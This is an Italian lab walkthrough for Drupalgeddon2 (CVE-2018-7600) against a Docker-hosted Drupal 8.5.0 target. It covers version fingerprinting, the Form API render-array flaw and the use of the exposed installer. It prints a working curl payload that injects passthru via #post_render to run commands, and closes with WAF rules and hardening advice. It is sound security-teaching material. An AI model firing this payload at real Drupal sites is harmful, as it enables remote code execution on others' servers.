dungsocool/cve-2018-7600Guida passo-passo di laboratorio per sfruttare CVE-2018-7600 (Drupalgeddon2) RCE in Drupal 8.5.0, che copre l'analisi della superficie d'attacco, il fingerprinting della versione e lo sfruttamento tramite iniezione di Form API.
Inizia elencando i container in esecuzione:
docker ps
Dai risultati di docker ps, il container per questo laboratorio è:
p1/lab09:latest
Questo container espone la porta:
0.0.0.0:8011->80/tcp
Ciò indica che il servizio all'interno del container è in ascolto sulla porta 80/tcp, ed è mappato sulla porta 8011 dell'host.
La porta 80/tcp è la porta standard per HTTP. Pertanto, questo laboratorio target è molto probabilmente un'applicazione web HTTP. Per confermare il servizio web, invio una richiesta HTTP usando curl combinato con l'accesso all'interfaccia grafica della pagina web.
curl -i http://192.168.3.137:8011/
Valutazione della Superficie d'Attacco
Dalla risposta HTTP e dall'interfaccia web, sono state identificate le seguenti informazioni:
Web server: Apache/2.4.25 (Debian) Backend: PHP/7.2.3 CMS: Drupal Versione Drupal: 8.5.0 Percorso di installazione: /core/install.php Porta pubblica: 8011 -> 80/tcp
Queste informazioni fungono da impronte digitali cruciali per correlare con le CVE. In particolare, Drupal 8.5.0 è la versione direttamente correlata a CVE-2018-7600, nota anche come Drupalgeddon2.
Secondo l'avviso ufficiale di Drupal, SA-CORE-2018-002 / CVE-2018-7600 interessa le seguenti versioni:
>= 8.5.0 < 8.5.1
Il target attuale esegue:
Drupal 8.5.0
rientrando quindi nell'intervallo di versioni interessate.
⇒ Pensiero:
A questo punto, la versione Drupal 8.5.0 è una forte evidenza per identificare la CVE sospetta. Ragiono come segue:
docker ps mostra che il Laboratorio espone il servizio HTTP tramite la porta 8011.curl -i restituisce una risposta HTTP valida da Apache/PHP./core/install.php.Drupal >=8.5.0 <8.5.1 è interessato da CVE-2018-7600.Drupal 8.5.0, rendendolo idoneo secondo i criteri di versione per testare CVE-2018-7600.Il target è Drupal 8.5.0 in esecuzione su Apache/PHP. Questa versione rientra nell'intervallo interessato da CVE-2018-7600 secondo l'avviso ufficiale di Drupal. Il passo successivo è verificare le reali condizioni di sfruttamento per accertare se il target può essere soggetto a RCE.
Dal precedente passaggio di impronta digitale, il target mostra chiaramente: Drupal 8.5.0. Secondo l'avviso ufficiale di Drupal, la vulnerabilità SA-CORE-2018-002 / CVE-2018-7600 interessa le versioni core di Drupal:
>= 8.5.0 < 8.5.1. Il target attuale esegue esattamente Drupal 8.5.0, collocandolo nell'intervallo di versioni interessate. Secondo l'avviso Drupal, si tratta di una vulnerabilità di Esecuzione di Codice Remota nel core di Drupal, che potrebbe consentire a un attaccante di sfruttare molteplici vettori d'attacco e portare al compromesso dell'intero sito.
Tuttavia, si può notare che il target reindirizza a /core/install.php e l'interfaccia mostra la schermata di installazione di Drupal. Ciò suggerisce che Drupal potrebbe essere in uno stato di installazione incompleta. Se la configurazione del sito non è stata completata, gli endpoint comuni usati per attivare Drupalgeddon2 come /user/register, /user/password e /user/login potrebbero non funzionare correttamente. Pertanto, è necessario controllare questi endpoint.
curl -i http://192.168.3.137:8011/user/register curl -i http://192.168.3.137:8011/user/password curl -i http://192.168.3.137:8011/user/login
Si può vedere che gli endpoint vengono ancora reindirizzati a /core/install.php
Conclusione:
Il target esegue Drupal 8.5.0, rientrando nell'intervallo di versioni interessato da CVE-2018-7600 secondo l'avviso ufficiale di Drupal. Tuttavia, al momento del test, l'applicazione è in stato di installer e reindirizza continuamente rotte come /user/register, /user/password e /user/login a /core/install.php.
Ciò mostra che gli endpoint comunemente usati per verificare Drupalgeddon2 non sono ancora funzionanti come su un sito Drupal completamente installato. Pertanto, il target attualmente soddisfa solo la condizione di versione ma non soddisfa ancora le condizioni di runtime per dimostrare l'Esecuzione di Codice Remota.
=> Pensiero:
Dobbiamo provare ulteriormente che Drupal nel suo stato di runtime può elaborare le rotte/form vulnerabili, che un attaccante può accedere agli endpoint senza autenticazione, e che i payload di verifica come id possono essere eseguiti con successo.
Sul target attuale, gli endpoint reindirizzano all’installer, quindi il percorso successivo è valutare se la schermata di installazione di Drupal crea una propria superficie d'attacco, invece di concludere immediatamente una RCE Drupalgeddon2.
Dopo aver verificato che gli endpoint di runtime di Drupal come /user/register, /user/password e /user/login sono tutti reindirizzati a /core/install.php, ho proceduto ad analizzare la schermata dell'installer.
Verifica del servizio database a supporto dell'installer
Poiché l'installer di Drupal è attualmente bloccato al passaggio di configurazione del database, ho controllato se i servizi database comuni sono esposti esternamente:
nmap -sV -p 3306,5432,33060 192.168.3.137
Il target attualmente espone l'installer di Drupal esternamente, ma non sono stati rilevati servizi database accessibili direttamente dalla macchina attaccante.
Conclusione: Il laboratorio espone l'installer di Drupal 8.5.0 e presenta una divulgazione di informazioni riguardanti la versione vulnerabile. CVE-2018-7600 è un vettore sospetto valido, ma non è ancora stato provato lo sfruttamento con successo.
CVE-2018-7600 sfrutta una vulnerabilità nella Form API di Drupal - il sistema di rendering dei form che utilizza la struttura Render Array. Durante l'elaborazione di una richiesta AJAX, Drupal usa il parametro element_parents per individuare gli elementi nell'albero del form senza verificare (sanitizzare) le chiavi che iniziano con il carattere #. Gli attaccanti iniettano proprietà come #post_render, #markup e #type tramite dati POST per forzare il motore di rendering a eseguire funzioni PHP arbitrarie (ad es., exec, passthru, system).
Condizione prerequisita: Almeno un endpoint che utilizza la Form API deve restituire una risposta valida (non reindirizzata, non bloccata dal controllo di accesso) in modo che l'attaccante possa inviare una richiesta AJAX contenente il payload.
Endpoint comunemente utilizzati nei PoC pubblici:
/user/register (modulo di registrazione - nessun login richiesto)/user/password (modulo di recupero password - nessun login richiesto)/user/login (modulo di login - nessun login richiesto)Sul target attuale: Tutti e 3 gli endpoint sopra sono reindirizzati tramite 302 a /core/install.php ⇒ non ancora soddisfatta
La vulnerabilità si verifica all'interno della pipeline di elaborazione AJAX della Form API: FormBuilder → RenderArray → #post_render callback execution. Questa pipeline opera solo quando Drupal avvia tutti i sottosistemi necessari (routing, stato del form, motore di rendering).
Nello stato installer, Drupal esegue in modalità bootstrap minimale - inizializzando solo lo stretto necessario per visualizzare il modulo di installazione, ma sottosistemi come routing, AJAX handler e l'intera pipeline di rendering potrebbero non essere ancora completamente attivati.
Sul target attuale: Drupal è nello stato installer ⇒ richiede ulteriore verifica
# nelle richiesteLa patch ufficiale di Drupal aggiunge la classe RequestSanitizer con il metodo stripDangerousValues() - scansionando tutti $_GET, $_POST e $_COOKIE, e rimuovendo qualsiasi chiave che inizi con # nelle fasi iniziali del bootstrap.
Se il target non è patchato (esegue 8.5.0), la classe RequestSanitizer non esiste → l'input contenente # non sarà filtrato ⇒ soddisfatta
Conclusione: Il target soddisfa la condizione di versione e l'assenza della patch. Tuttavia, le condizioni di endpoint disponibile e bootstrap completo non sono state ancora dimostrate a causa del fatto che Drupal è in stato installer. Il passo successivo è verificare se il modulo dell'installer (/core/install.php) - che utilizza anch'esso la Form API e Render Array - può essere sfruttato come sostituto degli endpoint standard.
Dopo aver identificato che il target esegue Drupal 8.5.0 in stato installer, gli endpoint standard tipicamente usati per sfruttare CVE-2018-7600 come /user/register, /user/password e /user/login sono tutti reindirizzati a /core/install.php. Ho pensato che ciò potesse essere dovuto al fatto che non avevo completato la configurazione dell'interfaccia, ma ho comunque voluto indagare ulteriormente.
Dopo la verifica, è stato scoperto che il modulo di installazione utilizza la stessa Form API e lo stesso motore Render Array vulnerabili. Tuttavia, la pipeline AJAX richiede che la Cache del Form funzioni — che per default utilizza il database come backend. Poiché non c'è ancora un database, la richiesta AJAX al modulo di installazione restituisce una FormAjaxException in FormBuilder.php:333, confermando che la pipeline è attivata ma fallita al passaggio di caricamento della cache.
Pensiero: Installerò Drupal usando SQLite - un database che non richiede un server dedicato, richiede solo l'accesso in scrittura al disco del container.
Con Drupal online, l'endpoint /user/register funziona normalmente e funge da punto di iniezione. Il payload sfrutta il meccanismo di iniezione dell'array di rendering:
element_parents=account/mail/%23value — individua il campo mail nell'albero del formmail[#post_render][]=passthru — inietta la funzione di callback passthru()mail[#markup]=id — il contenuto passato a passthru() come argomentocurl -v "http://192.168.3.137:8011/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id"
Analisi della Risposta:
Il risultato uid=33(www-data) indica che il payload è stato eseguito sul sistema operativo con i privilegi dell'utente www-data. Questo è l'utente tipicamente utilizzato per eseguire il server web Apache/PHP su Linux basato su Debian. Poiché il comando id è stato eseguito lato server e ha restituito output, viene confermata l'Esecuzione di Codice Remota con successo. Tuttavia, il privilegio corrente è www-data, non root, quindi l'ambito di controllo iniziale è limitato ai permessi del server web.
Controllo dell'Accesso agli Endpoint
Se il sito non richiede la registrazione pubblica degli utenti, disabilita l'endpoint /user/register:
Regole WAF — Blocco dei Payload Caratteristici
Aggiungi regole WAF per bloccare le richieste contenenti chiavi come #post_render, #pre_render o #markup nel corpo POST:
SecRule REQUEST_BODY "@contains #post_render" "deny,status:403"
SecRule REQUEST_BODY "@contains #pre_render" "deny,status:403"
SecRule ARGS_NAMES "@rx ^#" "deny,status:403"
Principio del Minimo Privilegio per il Server Web
Il server web non deve essere eseguito con privilegi root. I risultati del laboratorio confermano che il processo viene eseguito come uid=33(www-data) — che è la configurazione corretta, ma vanno apportati i seguenti miglioramenti:
www-data strettamente alle directory necessarie (sites/default/files/)/var/www/html/core/, /var/www/html/modules/)Non Esporre l'Installer su Internet
In questo laboratorio, l'installer è pubblico — un attaccante può sfruttarlo per reinstallare Drupal usando SQLite ed effettuare lo sfruttamento. La produzione reale richiede:
/core/install.php dopo il completamento dell'installazione.htaccess o una configurazione del server web per bloccare l'accesso esterno a /core/install.php<Files "install.php">
Order deny,allow
Deny from all
</Files>